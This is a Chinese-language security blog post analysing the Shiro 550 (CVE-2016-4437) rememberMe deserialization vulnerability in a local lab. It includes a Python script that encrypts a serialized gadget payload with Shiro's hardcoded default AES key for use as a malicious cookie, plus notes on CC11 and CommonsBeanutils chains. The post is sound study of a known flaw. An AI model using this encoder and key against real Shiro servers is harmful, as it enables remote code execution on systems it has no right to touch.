Java反序列化Shiro 550分析

漏洞简介

影响版本:Shiro <= 1.2.4

漏洞根本原因:固定key加密

Shiro特征:返回包中包含rememberMe=deleteMe字段。

Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Shiro介绍

环境搭建

  • JDK8u202

  • tomcat 8.5.100

  • Shiro 1.2.4

下载tomcat

tomcat8(下载好后解压)

image-20240609144237140

启动tomcat后发现日志是乱码

image-20240531212732532

找到这个位置把UTF-8改为GBK

image-20240531213058211

Windows下的CMD的默认字符集是GBK,所以UTF8编码输出的日志,中文看到的肯定是乱码了。


下载shiro环境

p牛的环境:shirodemo

编辑项目设置

image-20240609150059572

添加tomcat

image-20240609150152218

image-20240609150612269

image-20240611180441211

默认账号:root

默认密码:secret

Shiro Cookie处理流程分析

加密流程分析

Shiro反序列化漏洞(一)-shiro550流程分析


总结

比较重要的几个类的继承关系

1
2
3
4
5
6
7
8
9
10
11
12
13
+-----------------------------------+
| RememberMeManager <<interface>> |
+-----------------------------------+
^
|
+-----------------------------------+
| AbstractRememberMeManager |
+-----------------------------------+
^
|
+-----------------------------------+
| CookieRememberMeManager |
+-----------------------------------+

RememberMeManager

RememberMeManager接口提供了以下方法:

  • getRememberedPrincipals():RememberMe 的功能。
  • forgetIdentity():忘记用户身份标识。
  • onSuccessfulLogin():登录校验成功时调用,保存当前用户的principals以供应用程序以后调用。
  • onFailedLogin():登录校验失败时调用,忘记当前用户的principals
  • onLogout():用户退出登录时调用,忘记当前用户的principals

AbstractRememberMeManager

AbstractRememberMeManager是实现RememberMeManger接口类的抽象类,这里有几个比较重要的成员变量需要了解:

  • DEFAULT_CIPHER_KEY_BYTES:一个硬编码 AES KEY,该 KEY 会被设置为加解密 KEY 的成员变量。
  • serializer:Shiro 的序列化器,用来对序列化和反序列化标识用户身份的PrincipalCollection对象。
  • cipherService:用于数据加解密的类,实际上是org.apache.shiro.crypto.AesCipherService类。

CookieRememberMeManager

getRememberedSerializedIdentity()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

//如果不是 HTTP 相关联的实例,记录调试信息并返回 null
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

//调用 isIdentityRemoved(wsc) 方法检查身份是否已移除。如果已移除,返回 null。
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

//获取 HTTP 请求和响应对象:
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

/*
读取并处理cookie:调用 getCookie().readValue(request, response) 读取“记住我”cookie 的值。
检查 cookie 是否已被删除(Cookie.DELETED_COOKIE_VALUE),如果是,则返回 null。
如果 cookie 存在,对其进行 Base64 解码。
记录解码后的信息(如果启用了详细日志)。
返回解码后的字节数组。
*/
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

Shiro 550漏洞利用

CC11链攻击

注:原生 shiro 中是没有 common-collections的,这里为了演示,所以添加了 common-collections 依赖

image-20240611200459717

加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

这个脚本的意思就是先aes加密,再base64编码,符合shiro逻辑

对CC11的序列化数据编码

当Cookie中有JSESSIONID时,不会通过rememberMe的数据进行身份认证,就执行不了我们构造好的EXP

image-20240611211916791

image-20240611211931741

CB链攻击

因为原生的Shiro并不带CC依赖,但是包含了commons-beanutils,所以参考Java反序列化CommonsBeanutils链

image-20240611213742442

用之前的CB链打,报错信息为org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

这是因为CB版本不一致导致的

image-20240611213705631

Shiro环境中commons-beanutils版本为1.8.3

image-20240611213801082

最简单的接解决办法就是把之前本地环境中commons-beanutils的版本变为Shiro的commons-beanutils版本

image-20240611213925075

参考连接

Shiro学习之路(一):Shiro是什么?有什么用

Shiro反序列化漏洞(一)-shiro550流程分析

Shiro反序列化漏洞(二)-shiro下的CC链利用

Shiro反序列化漏洞(三)-shiro无依赖利用链

CVE-2016-4437漏洞分析


Java反序列化Shiro 550分析
https://sp4rks3.github.io/2024/06/09/JAVA安全/反序列化/Shiro550/
作者
Sp4rks3
发布于
2024年6月9日
许可协议